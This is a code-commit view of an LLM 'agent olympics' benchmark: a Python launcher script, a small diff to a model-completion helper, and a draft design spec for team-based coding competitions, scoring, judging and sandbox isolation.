score re-score a saved run under a different profile (no re-run)
show print the challenge a task_id/index resolves to
Examples:
python hh/scripts/bench-olympics.py run --model qwen2.5-coder:3b --task 11
python hh/scripts/bench-olympics.py run --model qwen2.5-coder:3b --index 0 \
--room real --max-rounds 2
python hh/scripts/bench-olympics.py replay /tmp/hh-olympics/runs/<dir>/transcript.json
"""
from __future__ import annotations
import argparse
import json
import signal
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from bench.olympics import arena, budget as obudget, challenge as ch # noqa: E402
from bench.olympics import ledger, roster, scoring # noqa: E402
from bench.olympics import transcript as T # noqa: E402
from bench.olympics.loop import Budget # noqa: E402
from bench.olympics.scoring import EventOutcome # noqa: E402
_BASE_WALL_CLOCK = 300.0 # base seconds before model-aware scaling
class RunTimeout(BaseException):
"""Raised by the watchdog so the normal try/except records a killed row and
the run's own finally blocks still tear down the VM/relay.
Derives from ``BaseException`` (not ``Exception``) on purpose: the inference
and completion paths wrap their HTTP calls in broad ``except Exception``
handlers, and the SIGALRM fires *while* those calls block. An
``Exception``-derived timeout would be swallowed there and treated as a
failed turn, so the deadline would never propagate. ``BaseException`` skips
those handlers (like ``KeyboardInterrupt``) while ``finally`` cleanup and our
explicit ``except RunTimeout`` still run."""
class _Deadline:
"""Hard self-deadline: arm SIGALRM and catch external SIGTERM; both raise
RunTimeout. The harness thus owns and records its own deadline instead of
relying on an external ``timeout`` (whose SIGTERM/SIGKILL would drop the run
from the ledger). SIGKILL still can't be caught — pair with ``timeout -k``
for a truly wedged process."""
def __init__(self, seconds: float):
self.seconds = max(1, int(seconds))
self._prev_alrm = None
self._prev_term = None
def _fire(self, signum, _frame):
raise RunTimeout(f"hard deadline {self.seconds}s (signal {signum})")
def __enter__(self):
self._prev_term = signal.signal(signal.SIGTERM, self._fire)
if hasattr(signal, "SIGALRM"):
self._prev_alrm = signal.signal(signal.SIGALRM, self._fire)
signal.alarm(self.seconds)
return self
def __exit__(self, *_exc):
if hasattr(signal, "SIGALRM"):
signal.alarm(0)
if self._prev_alrm is not None:
signal.signal(signal.SIGALRM, self._prev_alrm)
if self._prev_term is not None:
signal.signal(signal.SIGTERM, self._prev_term)
return False
def _resolve_budget(args, model: str) -> tuple[float, float]:
"""(wall_clock_s, scale). An explicit --wall-clock is honored verbatim
(scale 1.0); otherwise the base is scaled by the model-aware multiplier."""
if args.wall_clock is not None:
return args.wall_clock, 1.0
scale = obudget.budget_scale(model)
return _BASE_WALL_CLOCK * scale, scale
def _load_challenge(args) -> "ch.Challenge":
if args.task is not None:
return ch.load_mbpp(task_id=args.task, language=args.language)
return ch.load_mbpp(index=args.index, language=args.language)
def cmd_run(args) -> int:
challenge = _load_challenge(args)
team = roster.same_model_team(args.model, team_id=args.team,
framing=args.framing)
def prog(p):
print(f" · {p}")
wall_clock, scale = _resolve_budget(args, team.driver().model)
hard = args.hard_timeout if args.hard_timeout is not None else wall_clock * 1.4
mode = "bridge" if args.mode == "bridge" else "direct"
room = "real" if mode == "bridge" else args.room
runtime = "podman" if mode == "bridge" else args.runtime
# shared context so a killed/errored run still records a complete ledger row.
led_ctx = dict(team=team, challenge=challenge, mode=mode, room=room,
runtime=runtime, seed=args.seed,
code_model=args.code_model if mode == "bridge" else None,
wall_clock_budget=round(wall_clock, 1), budget_scale=scale,
path=args.ledger)
def _run() -> dict:
if mode == "bridge":
from bench.olympics import bridge # noqa: E402
print(f"olympics bridge · team={team.id} models={team.models}")
print(f" challenge={challenge.id} REAL room + /ai !task build "
f"framing={args.framing}")
print(f" wall_clock={wall_clock:.0f}s (scale {scale}x) "
f"hard_deadline={hard:.0f}s")
print("-" * 72)
return bridge.run_bridge_event(
team, challenge, host=args.host_room, port=args.port,
password=args.password, ollama=args.ollama,
code_model=args.code_model, out_dir=args.out, seed=args.seed,
profile=args.profile, step_timeout=wall_clock,
agent_chat_confirm=args.agent_chat_confirm, progress=prog)
budget = Budget(deliberate_rounds=args.deliberate_rounds,
implement_attempts=args.max_rounds,
max_tokens=args.max_tokens, wall_clock_s=wall_clock)
print(f"olympics M1 · team={team.id} models={team.models}")
print(f" challenge={challenge.id} room={args.room} "
f"runtime={args.runtime} framing={args.framing}")
print(f" wall_clock={wall_clock:.0f}s (scale {scale}x) "
f"hard_deadline={hard:.0f}s")
print("-" * 72)
room_kwargs = {}
if args.room == "real":
room_kwargs = {"host": args.host_room, "port": args.port,
"password": args.password}
return arena.run_one(
team, challenge, room_kind=args.room, runtime=args.runtime,
budget=budget, profile=args.profile, seed=args.seed,
host=args.ollama, out_dir=args.out, room_kwargs=room_kwargs,
progress=prog)
try:
with _Deadline(hard):
score = _run()
except RunTimeout as e:
row = ledger.append_incomplete(status=ledger.STATUS_KILLED,
error=str(e), **led_ctx)
print(f"\n!! run killed: {e}")
print(f"ledger += {row['run_id']} [killed] → "
f"{args.ledger or ledger.DEFAULT_PATH}")
return 2
except Exception as e: # noqa: BLE001 — record then surface
row = ledger.append_incomplete(status=ledger.STATUS_ERROR,
error=repr(e), **led_ctx)
print(f"\n!! run errored: {e!r}")
print(f"ledger += {row['run_id']} [error] → "
f"{args.ledger or ledger.DEFAULT_PATH}")
raise
print("-" * 72)
scoring.print_score(score)
row = ledger.append(score, team=team, challenge=challenge, mode=mode,
room=score.get("room_substrate", room), runtime=runtime,
seed=args.seed,
code_model=led_ctx["code_model"],
wall_clock_budget=round(wall_clock, 1),
budget_scale=scale, path=args.ledger)
print(f"ledger += {row['run_id']} → {args.ledger or ledger.DEFAULT_PATH}")
print(f"transcript: {score['transcript']}")
print(f"replay with: python {Path(__file__).name} replay {score['transcript']}")
return 0 if score["correct"] else 1
def cmd_leaderboard(args) -> int:
rows = ledger.load(args.ledger)
if not rows:
print(f"no runs recorded in {args.ledger or ledger.DEFAULT_PATH}")
return 1
filters = {"team": args.team, "language": args.language,
"models": args.model, "mode": args.mode, "since": args.since}
agg = ledger.leaderboard(rows, by=args.by, filters=filters)
ledger.print_leaderboard(agg, args.by)
print(f"({len(rows)} total runs in {args.ledger or ledger.DEFAULT_PATH})")
return 0
def cmd_replay(args) -> int:
T.replay(args.transcript, show_tools=not args.no_tools)
return 0
def cmd_score(args) -> int:
tx = T.load_transcript(args.transcript) if hasattr(T, "load_transcript") \
else T.Transcript.load(args.transcript)
# reconstruct a minimal EventOutcome from the transcript to re-score
o = _outcome_from_transcript(tx)
budget = tx.manifest.get("budget", {})
s = scoring.score_event(o, profile=args.profile,
budget={"max_rounds": budget.get("implement_attempts", 3)})
scoring.print_score(s)
return 0
def _outcome_from_transcript(tx: "T.Transcript") -> EventOutcome:
correct = False
rounds_to_green = None
attempts = 0
deliberate_passes = set()
submitted = False
for ev in tx.events:
if ev.kind == T.KIND_TOOL and ev.payload.get("label") == "hidden-grade":
correct = bool(ev.payload.get("ok"))
if ev.kind == T.KIND_TOOL and str(ev.payload.get("label", "")).startswith("public-attempt"):
attempts += 1
if ev.payload.get("ok") and rounds_to_green is None:
rounds_to_green = attempts
if ev.kind == T.KIND_MESSAGE and ev.payload.get("text") == "SUBMIT":
submitted = True
if ev.kind == T.KIND_AGENT and ev.phase == "DELIBERATE":
deliberate_passes.add(round(ev.ts))
return EventOutcome(
team=tx.team, challenge=tx.challenge, submitted=submitted,
correct=correct, rounds=attempts, wall_clock_s=0.0,
tokens=tx.total_tokens(), public_passed=rounds_to_green is not None,
rounds_to_green=rounds_to_green, penalties=[])
def cmd_show(args) -> int:
c = _load_challenge(args)
print(f"id={c.id} language={c.language} meta={c.meta}")
print("public_tests:", c.public_tests)
print("hidden_tests:", c.hidden_tests)
print("--- brief ---"); print(c.brief())
print("--- gen_prompt ---"); print(c.gen_prompt())
return 0
def build_parser() -> argparse.ArgumentParser:
ap = argparse.ArgumentParser(
prog="bench-olympics",
description="agent-olympics competition benchmark (M1 arena spine)")
sub = ap.add_subparsers(dest="cmd", required=True)
def add_challenge_args(p):
p.add_argument("--task", type=int, default=None, help="MBPP task_id")
p.add_argument("--index", type=int, default=0,
help="index into the MBPP test split (if no --task)")
p.add_argument("--language", default="python")
p = sub.add_parser("run", help="run one event for one team")
add_challenge_args(p)
p.add_argument("--model", required=True, help="ollama model for both members")
p.add_argument("--mode", default="direct", choices=["direct", "bridge"],
help="direct: orchestrator builds; bridge: real /ai !task build")
p.add_argument("--code-model", default=None,
help="ollama model for the agent's sandbox build (bridge mode)")
p.add_argument("--agent-chat-confirm", action="store_true",
help="bridge: also drive the agent's streaming /ai chat path in "
"DELIBERATE (off by default — that product path drops the "
"agent via a 1011 keepalive timeout under CPU inference)")
p.add_argument("--team", default="falcon")
p.add_argument("--framing", default="neutral",
choices=["neutral", "competition"])
p.add_argument("--room", default="local", choices=["local", "real"])
p.add_argument("--runtime", default="auto", choices=["auto", "podman", "local"])
p.add_argument("--profile", default="balanced",
choices=list(scoring.PROFILES))
p.add_argument("--deliberate-rounds", type=int, default=2)
p.add_argument("--max-rounds", type=int, default=3,
help="implement/test attempts (speed cap)")
p.add_argument("--max-tokens", type=int, default=8000)
p.add_argument("--wall-clock", type=float, default=None,
help="soft wall-clock budget in seconds; omit to apply "
"model-aware scaling off the 300s base")
p.add_argument("--hard-timeout", type=float, default=None,
help="hard deadline in seconds (SIGALRM/SIGTERM watchdog); "
"default 1.4x the soft budget")
p.add_argument("--seed", type=int, default=0)
p.add_argument("--ollama", default="http://127.0.0.1:11434")
p.add_argument("--out", default="/tmp/hh-olympics/runs")
p.add_argument("--ledger", default=None,
help="append-only results JSONL (default: "
"~/.cache/hh-bench/olympics/ledger.jsonl)")
# real-room knobs
p.add_argument("--host-room", default="127.0.0.1")
p.add_argument("--port", type=int, default=4677)
p.add_argument("--password", default="olympics-pass")
p.set_defaults(func=cmd_run)
p = sub.add_parser("replay", help="re-render a saved transcript")
p.add_argument("transcript")
p.add_argument("--no-tools", action="store_true", help="hide tool output")
p.set_defaults(func=cmd_replay)
p = sub.add_parser("score", help="re-score a saved run under a profile")
p.add_argument("transcript")
p.add_argument("--profile", default="balanced", choices=list(scoring.PROFILES))
p.set_defaults(func=cmd_score)
p = sub.add_parser("show", help="print the resolved challenge")
add_challenge_args(p)
p.set_defaults(func=cmd_show)
p = sub.add_parser("leaderboard",
help="aggregate the results ledger (no re-run)")
p.add_argument("--by", default="team",
help="group key: team | models | language | challenge | mode "
"| framing, or a '+'-joined composite e.g. models+language")
p.add_argument("--team", default=None)
p.add_argument("--language", default=None)
p.add_argument("--model", default=None, help="substring match on team models")
p.add_argument("--mode", default=None, choices=[None, "direct", "bridge"])
p.add_argument("--since", default=None, help="ISO ts lower bound (inclusive)")
p.add_argument("--ledger", default=None)
p.set_defaults(func=cmd_leaderboard)
return ap
def main(argv: list[str] | None = None) -> int:
args = build_parser().parse_args(argv)
return args.func(args)
if __name__ == "__main__":
raise SystemExit(main())
hh/scripts/bench/completion.py
+34 -2
View File
@@ -24,15 +24,22 @@ class Completion:
def complete(model: str, prompt: str, stop: list[str] | None = None,
*, host: str = "http://127.0.0.1:11434", temperature: float = 0.2,
num_predict: int = 512, timeout: float = 300.0) -> Completion:
num_predict: int = 512, timeout: float = 300.0,
seed: int | None = None) -> Completion:
"""Ask the model to continue `prompt`. Stop tokens are passed to Ollama and
re-applied client-side (Ollama strips the stop string, which is what we want
— the assembled program must not contain the test's leading token twice)."""
— the assembled program must not contain the test's leading token twice).
``seed`` is forwarded to Ollama's sampler so multi-seed runs at the same
temperature draw *different but reproducible* samples (the basis for pass@1
confidence intervals)."""
import time
t0 = time.time()
options = {"temperature": temperature, "num_predict": num_predict}
if stop:
options["stop"] = stop
if seed is not None:
options["seed"] = seed
try:
# raw=True bypasses the chat template so an instruct model *continues*
# the code (HumanEval-style) instead of replying conversationally with
@@ -47,9 +54,34 @@ def complete(model: str, prompt: str, stop: list[str] | None = None,
return Completion(_truncate(text, stop), True, None, time.time() - t0)
def _strip_fences(text: str) -> str:
"""Drop a markdown code fence even when raw=True fails to suppress it.
Chatty coder models sometimes wrap the continuation in ``` fences (and append
a prose ``# Explanation`` after a closing fence). A triple-backtick is not
valid syntax in any target language, so it is a safe, unambiguous cut point.
Two shapes occur: a *wrapped* block (opens with ```lang … closes with ```)
and a *bare* continuation that the model terminates with a stray closing ```.
"""
fence = "```"
if fence not in text:
return text
stripped = text.lstrip()
if stripped.startswith(fence):
# wrapped: drop the opening ```lang line, keep until the next fence.
body = stripped[len(fence):]
nl = body.find("\n")
body = body[nl + 1:] if nl != -1 else ""
end = body.find(fence)
return body[:end] if end != -1 else body
# bare continuation: cut at the stray closing fence.
return text[:text.find(fence)]
def _truncate(text: str, stop: list[str] | None) -> str:
"""Defensive client-side stop truncation (covers the no-stop / streamed
cases and any model that ignores the option)."""
text = _strip_fences(text)
if not stop:
return text
cut = len(text)
hh/scripts/bench/olympics/SPEC.md
+483
View File
@@ -0,0 +1,483 @@
# Agent Olympics — a hackathon-competition benchmark inside hack-house
> Status: **DRAFT spec** (design only — no implementation yet). Author: bench team.
> Scope: a fourth benchmark axis layered on `hh/scripts/bench/`. Arena-mode first,
> MBPP/MultiPL-E bootstrap, modular team composition, Claude/Opus LLM-as-judge.
> This document is the build contract. It is grounded in the local Obsidian vault
> (`~/coding/obsidian/research/`) and 2026 web research — see **References**.
---
## 1. One-paragraph concept
Stand up **two (or more) teams of LLM agents** inside hack-house. Each team lives in
its own end-to-end-encrypted room and believes it has a private, secure channel to
its teammate(s). Each team is given the *same* coding challenge and an isolated VM
to work in. Teams **deliberate in chat**, then **implement and test code in their
VM**, racing on a blend of correctness, speed, code quality, and collaboration.
A referee posts challenges and records everything; a judge (deterministic tests +
Claude/Opus LLM-as-judge) scores the submissions and the conversation/tool-call
trajectory. Aggregate across a slate of events into a **medal table**. The framework
is the apparatus; the output is a reproducible answer to *"which model(s), in which
team configuration, collaborate best to ship good code fast?"*
This doubles as the most demanding live test of hack-house itself (concurrent
agents, encrypted rooms, shared sandbox, ACL, the destructive guard).
---
## 2. Goals & non-goals
### Goals
- **G1 — Real comms substrate.** Team deliberation flows through real hack-house
E2E-encrypted rooms, not a simulated bus. The product is the medium.
- **G2 — Modular team composition.** Same-model teams (collaboration-protocol study)
AND mixed-model teams (capability ladder) are first-class, config-driven.
- **G3 — Bootstrap fast.** Reuse the existing `bench/` MBPP + MultiPL-E loaders,
graders, and `PodmanRuntime` so M1 runs end-to-end with zero new datasets.
- **G4 — Extensible challenges.** A `Challenge` interface so custom multi-file
"file-type" challenges plug in later without touching the arena core.
- **G5 — Trustworthy scoring.** Verifiable (unit-test) scoring first; LLM-as-judge
only for open-ended quality, with documented bias mitigation and judge calibration.
- **G6 — Reproducible & auditable.** Every frame, tool call, and VM state diff is
recorded to a replayable transcript; runs are seed/version-pinned.
- **G7 — Measure the placebo.** Treat competitive/persona "performance elicitation"
framing as an explicit, A/B-testable variable, not folklore (see §14).
- **G8 — Safe by construction.** Isolated VMs, deny-by-default egress, reuse the
`bench/safety` guard + injection classifier as a fair-play/safety referee.
### Non-goals (for now)
- Not editing `cmd_chat/` (tool code). Arena mode drives turns externally and posts
into real rooms. Product mode (real `AgentBridge` agents talking to each other)
is a later milestone that needs an explicit greenlight.
- Not a training loop (no RL/fine-tuning). This selects and compares; it does not train.
- Not a public leaderboard. Held-out, private challenge sets are a feature, not a gap
(contamination resistance — see §10).
---
## 3. Prior art this design borrows from (grounding)
- **Read-vs-write rule for multi-agent work.** Coding is *write-heavy, shared-state*
work, the regime where naive parallel multi-agent systems fail (Cognition's
"Flappy Bird" conflicting-implicit-decisions failure). The fix: **separate a
read/deliberate phase from a single-driver write phase**, and **share full traces,
not just messages**. We bake this into the loop (§7) *and* measure the coordination
tax. [[vault: multi-agent-orchestration-patterns]]
- **Coordination topologies & milestone KPIs.** MultiAgentBench/MARBLE (ACL 2025)
scores collaboration with milestone-based KPIs across star/chain/tree/graph
topologies; AgentCoder/AgileCoder show role specialization (planner/coder/tester)
beats undifferentiated peers. We make role + topology config knobs. [web]
- **Eval-harness discipline.** Standardize the harness, own a private held-out set;
pick challenges for **discrimination, not difficulty**; report **intervals, not
point estimates**; prefer verifiable scoring, reserve judges for open-ended quality.
[[vault: eval-harnesses-benchmark-design]]
- **Outcome vs trajectory.** Final-output-only scoring overstates quality 20–40%;
score the *path* (tool correctness, step efficiency, plan adherence, contribution
balance). Use **agent-as-a-judge** to walk the trajectory. Report **pass^k**
(worst-case) beside pass@k for reliability. [[vault: agent-evaluation-and-observability]]
- **Sandbox isolation hierarchy.** Plain containers are the *floor* (shared kernel =
one-CVE-from-escape); microVMs (Firecracker/Kata) or gVisor are the bar for
untrusted multi-tenant code; deny-by-default egress + hard caps + disposable
one-shot. Current hh uses `podman --network=none` (the container floor) — we note
the upgrade path. [[vault: agent-sandboxing-isolation]]
- **LLM-as-judge biases.** Position, verbosity, self-preference, format, calibration
drift are all documented and individually mitigable; calibrate the judge against a
human-labeled gold slice before trusting it. [web + [[vault: llm-evals]]]
---
## 4. Design pillars (constraints every component obeys)
1. **The room is the bus.** All inter-agent messages are real encrypted-room frames.
The referee is a privileged room member (holds the key) for recording.
2. **Arena now, product later.** Orchestrator schedules turns + drives inference, but
*posts every utterance into the real room*. Graduate to real `AgentBridge` agents
in M5.
3. **Phase-separated collaboration.** Deliberate (read/plan, parallel-friendly) →
Implement (single driver writes to the VM) → Test/iterate → Submit. This is the
research-backed shape for write-heavy work and also the thing we measure.
4. **Everything modular & data-driven.** Teams, roles, models, topologies, challenges,
scoring weights, and elicitation framing are config, not code.
5. **Verifiable-first scoring.** Hidden unit tests gate the score; judges only grade
what can't be checked mechanically.
6. **Cost is a first-class metric.** Multi-agent ≈ 15× chat tokens; track tokens,
wall-clock, turns. Report cost-normalized scores so a win bought with 10× spend
is visible.
7. **Disposable, isolated, deny-by-default.** One VM per team per event, no host
secrets mounted, egress blocked by default, hard resource caps.
8. **Reproducible.** Pin model versions, seeds, prompts, challenge set hash, and
judge version into every result record.
---
## 5. Architecture
### 5.1 Package layout
```
bench/olympics/
SPEC.md # this document
arena.py # orchestrator: rooms, turn scheduler, phase machine, termination
team.py # Team, Member: persona/role/model binding, topology
roster.py # build teams from config (same-model / mixed-model, modular)
challenge.py # Challenge ABC + grader interface; MBPP/MultiPL-E adapters
challenges/ # event specs (bootstrap: pointers into existing bench suites)
vm.py # per-team isolated workspace (wraps bench/runtime.py; egress policy)
loop.py # the collaboration phase machine (deliberate/implement/test/submit)
comms.py # hack-house room client for the arena (connect, post, record)
transcript.py # OTel-aligned event log -> replayable JSON per team/event
scoring.py # composite score, normalization, intervals, medal table
judge/
__init__.py
deterministic.py # unit-test/lint/complexity scoring (no model)
llm_judge.py # Claude/Opus judge client + bias-mitigation harness
rubric.py # criterion-separated rubrics per axis
prompts/ # judge system prompts (versioned)
referee.py # fair-play + safety: reuse bench/safety (guard + injection)
elicitation.py # persona/framing variants for the placebo experiment (§14)
bench-olympics.py # launcher: run / replay / score / medal / judge subcommands
```
### 5.2 Reuse map (what already exists in `bench/`)
| Need | Existing component |
|------|--------------------|
| Problems + hidden tests | `bench/suites.py` (HumanEval/MBPP), `bench/datasets.py`, `bench/langs.py` |
| Pass@k / grading | `bench/harness.py` (`_pass_at_k`, assemble+run) |
| Isolated execution | `bench/runtime.py` (`PodmanRuntime`, `--network=none`, caps) |
| Model inference | `bench/completion.py` (raw) + new chat client in `comms.py` |
| Workflow weighting | `bench/score.py` + `workflows.json` pattern (reused for scoring profiles) |
| Safety referee | `bench/safety/` (`DESTRUCTIVE`, `classify.py`, `inject_bench.py`) |
### 5.3 Data flow (one event, one team)
```
config ─► roster.build_teams ─► arena.run_event
│
referee posts Challenge brief ──┼──► (room frame, recorded)
▼
┌──────────── loop (phase machine) ────────────┐
│ DELIBERATE: members post plan/critique turns │ ◄─ inference via comms/judge model
│ IMPLEMENT : driver !task → commands → vm.run │ ◄─ PodmanRuntime, egress policy
│ TEST : run PUBLIC tests in vm, feedback │
│ (iterate until green or budget exhausted) │
│ SUBMIT : freeze vm artifact │
└───────────────────────────────────────────────┘
▼
transcript.json + frozen VM artifact ─► judge (deterministic + LLM) ─► scoring ─► medal table
```
### 5.4 hack-house integration points
- **Rooms:** one room per team (isolation). Arena connects as N agent clients
(one per member) + 1 referee client, mirroring how `bench-sandbox.py` already
drives `Client`/WebSocket sessions.
- **Sandbox:** the team's `!task` path types commands into the shared PTY; `vm.py`
wraps `PodmanRuntime` for the actual isolated execution + output capture.
- **ACL:** the referee acts as room owner, issuing `_perm:acl` to grant the driver
`drivers` rights for the Implement phase only; revoked between phases.
- **Guard/HITL:** the existing `DESTRUCTIVE` gate stays live; the referee can require
host sign-off (the host-sign-off gate, separately specced) for flagged plans.
---
## 6. The collaboration loop (phase machine)
State machine per (team, event), bounded by a shared **budget**
(`max_rounds`, `max_tokens`, `wall_clock_s` — whichever trips first):
1. **BRIEF.** Referee posts the challenge to the room: task prompt, **public**
example I/O, allowed languages, budget, and the submission protocol.
2. **DELIBERATE** (read/plan; parallel-friendly). Round-robin over members; each sees
the full shared room trace (Cognition: *share full traces, not just messages*) and
posts one message — proposal, critique, interface decision. Ends on a consensus
token (e.g. `PLAN-LOCKED`) or round cap.
3. **IMPLEMENT** (write; single driver). The role-designated driver translates the
locked plan into shell/file commands via `!task`; teammate(s) may post review
comments but only the driver writes to the VM. (This is the research-backed way to
avoid conflicting implicit decisions in write-heavy work.)
4. **TEST & ITERATE.** Run **public** tests in the VM; failures return to the room as
feedback; loop DELIBERATE↔IMPLEMENT until green or budget exhausted.
5. **SUBMIT.** Team emits `SUBMIT`; VM artifact frozen and graded on **hidden** tests.
**Termination:** `SUBMIT`, budget exhaustion, or **no-progress** detection
(no new code + repeated/semantically-duplicate messages over a window).
**Topology knob:** DELIBERATE supports star (lead routes), chain, or free mesh — the
collaboration pattern itself becomes an experimental variable.
---
## 7. Teams, roles, personas (modular)
```yaml
# example team config
teams:
- id: falcon
topology: star # star | chain | mesh
members:
- name: archie
model: qwen2.5-coder:7b
role: architect # decomposes, sets interfaces, reviews, drives plan
persona: senior-systems-engineer
- name: bob
model: qwen2.5-coder:7b
role: builder # implements; the Implement-phase driver
persona: fast-prototyper
- id: kestrel
topology: mesh
members: # mixed-model team
- { name: kira, model: qwen2.5:3b, role: peer, persona: pragmatist }
- { name: kojo, model: llama3.2:3b, role: peer, persona: skeptic }
```
- **Roles** map to persona system prompts + loop privileges (who drives Implement,
who must approve `PLAN-LOCKED`). Built-ins: `architect`, `builder`, `tester`,
`peer`. Role specialization is supported because prior art shows it helps; pure-peer
teams are the control.
- **Modularity requirements:** same model on all members (protocol study), distinct
models per member (capability study), distinct models per *team* (model-vs-model),
and N-member teams (default 2; ≥3 allowed). All from config, no code change.
- **Personas** live in `elicitation.py` as named, versioned prompt fragments so the
placebo experiment (§14) can swap them while holding model/challenge fixed.
---
## 8. Challenge system
`Challenge` is an ABC the arena consumes; graders are pluggable.
```python
class Challenge(Protocol):
id: str
languages: list[str]
def brief(self) -> str: ... # prompt + PUBLIC examples (room-posted)
def scaffold(self, vm) -> None: ... # seed files into the VM (optional)
def public_tests(self) -> Test: ... # visible to the team during TEST
def hidden_tests(self) -> Test: ... # held out; used only at SUBMIT grading
def rubric(self) -> Rubric: ... # open-ended quality criteria for the judge
```
- **Bootstrap (M1–M3): MBPP / MultiPL-E adapter.** Wrap existing `bench/suites.py`
problems: the MultiPL-E/MBPP `prompt` + visible examples become `brief()`/
`public_tests()`, and a held-out slice of the asserts becomes `hidden_tests()`
(public/hidden split prevents teaching-to-the-test). Languages from `bench/langs.py`.
- **Events = challenge archetypes (the "Olympics"):**
| Event | Shape | Primary metric |
|-------|-------|----------------|
| Sprint | one easy problem | speed (turns + wall-clock) |
| Marathon | hard / multi-file build | correctness (hidden pass@k) |
| Relay | disjoint modules per member | interface-handshake success |
| Debugging | fix a broken repo (injected bugs) | time-to-green |
| Code review | catch a planted bug | collaboration / detection |
| Security | resist a socially-engineered unsafe ask | resistance (reuse §13) |
- **Custom "file-type" challenges (post-bootstrap, G4):** multi-file projects with a
scaffold + a containerized test command. Author once as a `challenges/<id>/` dir
(brief.md, scaffold/, public_tests/, hidden_tests/, rubric.json) — the arena needs
no changes. **Pick for discrimination:** retire any event all teams ace or all fail.
---
## 9. Scoring model
Composite per (team, event); weights are a profile (same mechanism as `workflows.json`).
```
event_score = wc·correctness + ws·speed + wq·quality + wb·collaboration + (penalties)
```
| Axis | Source | How |
|------|--------|-----|
| **Correctness** | deterministic | hidden-test **pass@k**; gate: 0 here caps the rest. Also report **pass^k** (worst-case reliability across repeated runs). |
| **Speed** | deterministic | normalized turns-to-green + wall-clock; tie-break tokens. |
| **Quality** | deterministic + judge | lint + cyclomatic complexity (deterministic) and LLM-judged readability/design against the rubric. |
| **Collaboration** | trajectory + judge | contribution balance (message/edit distribution), plan adherence, did review catch a bug, redundant-step rate. Agent-as-judge walks the transcript. |
| **Penalties** | referee | destructive/injection events, budget overrun, no-progress stalls. |
- **Normalization & intervals.** Per-event z-score or min-max across teams; **report
confidence intervals** (multiple seeds / problem samples) and **do not rank teams
whose intervals overlap** (vault eval discipline).
- **Cost-normalized variant.** Also publish `score / tokens` and `score / wall-clock`
so a 15×-spend win is not mistaken for a free one.
- **Medal table.** Aggregate event_scores into per-team standings across the slate
(gold/silver/bronze per event + overall), with weights per `olympics-profile`.
---
## 10. Judging (deterministic + Claude/Opus LLM-as-judge)
Two layers; LLM-judge only where deterministic checks can't reach.
### 10.1 Deterministic (always-on, free of model bias)
Unit-test pass@k/pass^k, lint, complexity, build success — in `judge/deterministic.py`.
### 10.2 LLM-as-judge — three operating modes (per user requirement)
The judge can **orchestrate** (drive a run live) or **analyze** (post-hoc), at two scales:
1. **In-session judge.** Claude in the *current* session reads one event's transcript
+ VM diff + tool-call log and scores the open-ended axes. Fast, interactive,
good for a single event or while iterating on the framework.
2. **Skill judge — individual.** A `/olympics-judge` skill (one Skill invocation =
one isolated judging session) pinned to **Opus 4.x (`claude-opus-4-8`)** grades one
submission package. Clean context per submission → no cross-contamination; good for
careful single-event grading at higher capability than the competitors.
3. **Skill judge — batch / large-scale.** The launcher fans out many `/olympics-judge`
sessions (one per submission) for a full tournament, then aggregates. Parallel,
reproducible, scales to many teams × events.
**Judge input package** (what every judge mode receives):
- the frozen **VM submission** (final file tree + build/test output),
- the full **hack-house conversation log** for the team (recorded transcript),
- the **tool-call / command log** (every `!task` → commands → result),
- the **final VM state** (diff vs scaffold), and
- the **rubric** (criterion-separated) for the event.
**Bias mitigation (mandatory, from the research):**
- **Position bias:** when comparing two teams pairwise, randomize/swap order and
aggregate; prefer **independent rubric scoring** then derive A-vs-B from scores.
- **Verbosity bias:** rubric scores quality per-criterion, not "which is longer."
- **Self-preference:** never let a competitor model judge its own family; the judge
(Opus 4.x) is stronger than and distinct from the local competitors.
- **Calibration:** validate the judge against a small human-labeled gold slice and
report judge↔human agreement before trusting judge scores for ranking; pin
judge model version + prompt version in results.
---
## 11. Observability & transcript schema
Record everything as spans aligned to the **OpenTelemetry GenAI semantic conventions**
(`invoke_agent`, `execute_tool`, `gen_ai.client.token.usage`) so traces are portable
and the judge gets clean structured input.
```jsonc
// transcript event (one per room frame / model call / tool call / phase change)
{
"ts": 0.0, "event_id": "...", "team": "falcon", "challenge": "mbpp-py-42",
"phase": "IMPLEMENT", "kind": "execute_tool", // message|invoke_agent|execute_tool|phase|acl|guard
"actor": "bob", "role": "builder",
"model": "qwen2.5-coder:7b", "model_version": "...",
"payload": { "task": "...", "commands": ["..."], "rc": 0, "out_trunc": "..." },
"tokens": { "in": 0, "out": 0 }, "redactions": []
}
```
- One transcript JSON per (team, event); a run manifest pins config hash, seeds,
model versions, challenge-set hash, judge version → full reproducibility.
- `bench-olympics.py replay <transcript>` re-renders the room conversation for audit;
re-judging under a new rubric is a pure function of the recorded package.
---
## 12. Isolation, security & fair play
- **VM per team per event**, disposable/one-shot, **no host secrets mounted**,
**egress deny-by-default**. M1 uses the existing `PodmanRuntime --network=none`
(the "container floor"). **Upgrade path** for stronger/multi-tenant isolation:
gVisor, then Kata/Firecracker microVMs, or a hosted sandbox (E2B/Modal) — sized to
the threat (vault sandboxing hierarchy).
- **Team isolation** via separate encrypted rooms + separate VMs; no cross-room keys.
No internet means teams can't fetch a published solution.
- **Fair-play referee** (`referee.py`) reuses `bench/safety`: the `DESTRUCTIVE` guard
flags dangerous commands; the injection classifier (`bench/safety/classify.py`)
watches for sabotage / social-engineering. Violations → penalties + logged.
- **Equal budget** enforced identically per team (rounds/tokens/wall-clock).
---
## 13. Performance elicitation — the "placebo" experiment (G7)
Hypothesis (user's): the *framing* — a high-stakes secure competition with elite
personas and a private teammate channel — pushes models toward better, more novel
solutions. The literature is mixed (role prompting and stakes/emotional framing show
real but inconsistent effects), so we **make framing a measured variable**, not an
assumption.
- **Treatment knobs** (in `elicitation.py`, swappable while model+challenge fixed):
- *Competition framing*: "you are competing against another team; the faster,
cleaner solution wins" vs. neutral "solve this task."
- *Persona priming*: "elite staff engineer known for elegant, novel solutions" vs.
bare assistant.
- *Stakes/audience*: visible scoreboard, time pressure, "your teammate is counting
on you" vs. none.
- *Secure-comms theater*: explicitly tell agents the channel is private/encrypted
(true) vs. silent.
- **Design:** A/B (factorial) — run identical models/challenges with framing ON vs
OFF; compare correctness, quality, novelty, and **solution diversity** (distinct
passing approaches). Report effect size with intervals; a knob only "works" if it
beats the neutral control outside the confidence band.
- **Novelty metric:** cluster passing solutions (AST / embedding distance); reward
approaches that pass hidden tests *and* differ from the canonical/most-common
solution — this is where "novel solutions" become measurable rather than vibes.
---
## 14. Configuration & CLI
```
bench-olympics.py run --config events/round1.yaml [--seed N] [--judge none|insession|skill]
bench-olympics.py replay <transcript.json>
